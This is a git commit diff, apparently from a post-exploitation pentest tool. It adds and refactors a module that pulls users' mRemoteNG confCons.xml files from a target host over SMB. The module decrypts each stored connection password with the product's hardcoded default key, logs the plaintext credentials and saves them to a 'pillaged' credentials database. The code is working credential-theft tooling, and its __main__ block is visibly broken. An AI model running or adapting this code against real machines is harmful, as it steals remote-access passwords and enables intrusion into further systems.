correcting mremoteng sub node analysis
This commit is contained in:
Pierre-Alexandre Vandewoestyne
parent
3753167235
commit
9789e141db
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@ -0,0 +1,121 @@
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#!/usr/bin/env python
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# coding:utf-8
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#
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# This software is provided under under a slightly modified version
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# of the Apache Software License. See the accompanying LICENSE file
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# for more information.
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#From : https://github.com/haseebT/mRemoteNG-Decrypt/blob/master/mremoteng_decrypt.py
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import ntpath
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from lib.toolbox import bcolors
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import hashlib
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import base64
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from Cryptodome.Cipher import AES
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import xml.etree.ElementTree as ET
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class mRemoteNG():
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def __init__(self,smb,myregops,myfileops,logger,options,db,users):
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self.myregops = myregops
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self.myfileops = myfileops
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self.logging = logger
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self.options = options
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self.db = db
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self.users = users
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self.smb = smb
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def run(self):
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self.get_files()
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#self.process_files()
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#self.decrypt_all()
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def get_files(self):
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self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering mRemoteNG Secrets {bcolors.ENDC}")
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blacklist = ['.', '..']
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user_directories = [("Users\\{username}\\AppData\\Local\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config')),
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("Users\\{username}\\AppData\\Roaming\\mRemoteNG", ('confCons.xml','mRemoteNG.exe.config'))]
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machine_directories = [("Program Files (x86)\\mRemoteNG\\", 'mRemoteNG.exe.config'),
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("PROGRAMFILES\\mRemoteNG\\", 'mRemoteNG.exe.config'),
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]
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for user in self.users:
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self.logging.debug(
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f"[{self.options.target_ip}] Looking for {user.username} ")
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if user.username == 'MACHINE$':
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continue
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#directories_to_use = machine_directories
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else:
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directories_to_use = user_directories
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for info in directories_to_use:
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my_dir, my_mask = info
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tmp_pwd = my_dir.format(username=user.username)
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self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
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for mask in my_mask:
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my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False)
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for infos in my_directory:
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longname, is_directory = infos
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self.logging.debug("ls returned file %s" % longname)
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if longname not in blacklist and not is_directory:
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try:
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# Downloading file
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localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
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self.process_file(localfile,user.username)
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except Exception as ex:
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self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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def process_file(self,localfile,username):
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try:
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if "confCons.xml" in localfile:
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tree = ET.parse(localfile)
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root = tree.getroot()
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#Extraire l'element Username et Password pour chaque node
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for node in list(root):
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try:
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name=node.attrib['Name']
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username_=node.attrib['Domain']+'\\'+node.attrib['Username']
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destination=node.attrib['Protocol']+'://'+node.attrib['Hostname']+':'+node.attrib['Port']
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encrypted_password=node.attrib['Password']
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encrypted_data = encrypted_password.strip()
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encrypted_data = base64.b64decode(encrypted_data)
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salt = encrypted_data[:16]
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associated_data = encrypted_data[:16]
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nonce = encrypted_data[16:32]
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ciphertext = encrypted_data[32:-16]
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tag = encrypted_data[-16:]
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default_password="mR3m"
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self.logging.debug(
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f"[{self.options.target_ip}] [mRemoteNG] Decrypting with {salt}:{nonce} {ciphertext} {tag}@ {username_}@ {destination}")
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key = hashlib.pbkdf2_hmac("sha1", default_password.encode(), salt, 1000, dklen=32)
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cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
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cipher.update(associated_data)
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plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8')
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self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}")
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self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username)
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except Exception as ex:
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self.logging.debug(
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f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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continue
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return 1
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except Exception as ex:
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self.logging.debug(
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f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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if __name__ == "__main__":
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filename="/Users/pav/Documents/CloudStation/Hack/Login/TI/NUMEN/interne/dpp/test4/10.75.0.2/Users/solivi08/AppData/Roaming/mRemoteNG/confCons.xml"
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#hash=binascii.unhexlify(hash)
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a=mRemoteNG()
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a.
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a.reverse_vncpassword(hash=hash)
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@ -67,15 +67,7 @@ class mRemoteNG():
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self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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def process_file(self,localfile,username):
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try:
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if "confCons.xml" in localfile:
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tree = ET.parse(localfile)
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root = tree.getroot()
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#Extraire l'element Username et Password pour chaque node
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for node in list(root):
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def print_infos(self, node,username):
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try:
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name = node.attrib['Name']
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username_ = node.attrib['Domain'] + '\\' + node.attrib['Username']
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@ -83,29 +75,55 @@ class mRemoteNG():
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encrypted_password = node.attrib['Password']
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encrypted_data = encrypted_password.strip()
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encrypted_data = base64.b64decode(encrypted_data)
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self.logging.debug(
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f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{name}:{username_} @ {destination} : {encrypted_password}{bcolors.ENDC}")
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salt = encrypted_data[:16]
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associated_data = encrypted_data[:16]
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nonce = encrypted_data[16:32]
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ciphertext = encrypted_data[32:-16]
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tag = encrypted_data[-16:]
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default_password = "mR3m"
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if ciphertext != b'':
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key = hashlib.pbkdf2_hmac("sha1", default_password.encode(), salt, 1000, dklen=32)
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cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
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cipher.update(associated_data)
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plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8')
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self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}")
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self.logging.info(
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f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}")
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self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username)
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except Exception as ex:
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self.logging.debug(
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f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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continue
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return 1
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except Exception as ex:
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self.logging.debug(
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f"[{self.options.target_ip}] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}")
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f"[] {bcolors.WARNING}Exception in mRemoteNG Process Node of {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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def print_recur(self, node,username):
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if node.tag == 'Node':
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self.print_infos(node,username)
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for elem in list(node):
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try:
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self.print_recur(elem,username)
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except Exception as ex:
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self.logging.debug(
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f"[] {bcolors.WARNING}Exception in mRemoteNG element {elem}{bcolors.ENDC}")
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self.logging.debug(ex)
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continue
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def process_file(self,localfile,username):
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try:
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if "confCons.xml" in localfile:
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tree = ET.parse(localfile)
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root = tree.getroot()
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for node in list(root):
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self.print_recur(node,username)
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return 0
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except Exception as ex:
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self.logging.debug(
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f"[] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile}{bcolors.ENDC}")
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self.logging.debug(ex)
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